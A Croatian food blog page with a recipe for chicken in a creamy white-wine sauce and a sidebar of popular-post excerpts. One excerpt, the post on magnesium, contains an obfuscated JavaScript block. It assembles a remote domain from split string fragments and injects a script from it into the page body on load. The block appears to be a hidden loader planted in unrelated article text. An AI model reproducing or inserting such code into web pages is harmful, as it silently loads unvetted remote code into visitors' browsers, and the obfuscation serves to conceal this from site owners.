SOČNA PILETINA U SVILENKASTOM UMAKU OD BIJELOG VINA 🍷 🐔




Sočna piletina u svilenkastom umaku od bijelog vina 




Ovaj recept za piletinu pirjanu u bijelom vinu inspiriran je tradicionalnim francuskim blanquetteom de poulet, ali prilagođen tako da sve bude brzo, i jednostavno. Pileći zabaci, šampinjoni, mrkva, celer i slanina u bogatom, ali ne preteškom umaku, odličan su izbor za svaki dan.





Sočna piletina u svilenkastom umaku od bijelog vina 


Sastojci:

  • 60 g dimljene slanine, narezane na kockice
  • 900 g pilećih zabataka s kostima i kožom
  • sol, po ukusu
  • svježe mljeveni crni papar, po ukusu
  • 225 g šampinjona, narezanih na ploške
  • 115 g žutog luka, sitno nasjeckanog
  • 115 g mrkve, narezane na sitne kockice
  • 60 g stabljika celera, sitno nasjeckanih
  • 240 ml suhog bijelog vina (rizling ili sauvignon blanc)
  • 240 ml pilećeg temeljca
  • 4 čajne žličice kukuruznog škroba
  • 120 ml vrhnja za kuhanje
  • hrskavi kruh, kuhana tjestenina ili riža, za posluživanje




Priprema:

  1. U većem loncu s debljim dnom zagrijte slaninu na srednje laganoj vatri. Povremeno miješajte dok ne postane hrskava i ne ispusti masnoću, oko 8 minuta. Izvadite je šupljikavom žlicom i ostavite sa strane.
  2. Piletinu posolite i popaprite sa svih strana. Pojačajte vatru na srednje jaku te zabatke stavite u lonac kožom prema dolje. Pecite 5 do 7 minuta sa svake strane, dok ne poprime lijepu zlatnosmeđu boju. Izvadite ih na tanjur.
  3. U isti lonac dodajte šampinjone, luk, mrkvu i celer. Pirjajte uz povremeno miješanje oko 7 minuta, dok povrće ne omekša, a luk postane staklast. Drvenom kuhačom sastružite zapečene komadiće s dna lonca jer oni daju dodatnu aromu umaku.
  4. Vratite slaninu i piletinu u lonac te ih rasporedite među povrće. Ulijte bijelo vino i pileći temeljac. Tekućina bi trebala dosezati otprilike dvije trećine visine mesa. Po potrebi dolijte malo vode.
  5. Posolite i popaprite prema ukusu.
  6. Zakuhajte, zatim smanjite vatru. Poklopite i kuhajte 45 do 55 minuta, dok meso ne postane vrlo mekano, a povrće ne bude potpuno kuhano.
  7. Izvadite piletinu na tanjur i držite na toplome.
  8. Pojačajte vatru i kuhajte tekućinu od pirjanja još oko 5 minuta kako bi se lagano reducirala.
  9. U manjoj zdjelici pomiješajte kukuruzni škrob s 3 žlice hladne vode. Ulijte smjesu u lonac uz stalno miješanje. Kuhajte 2 do 3 minute, dok se umak ne zgusne.
  10. Maknite lonac s vatre pa umiješajte vrhnje za kuhanje.
  11. Na tanjure rasporedite komade piletine, prelijte ih povrćem i bogatim kremastim umakom te poslužite uz hrskavi kruh, kuhani pir, rižu ili široke rezance.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više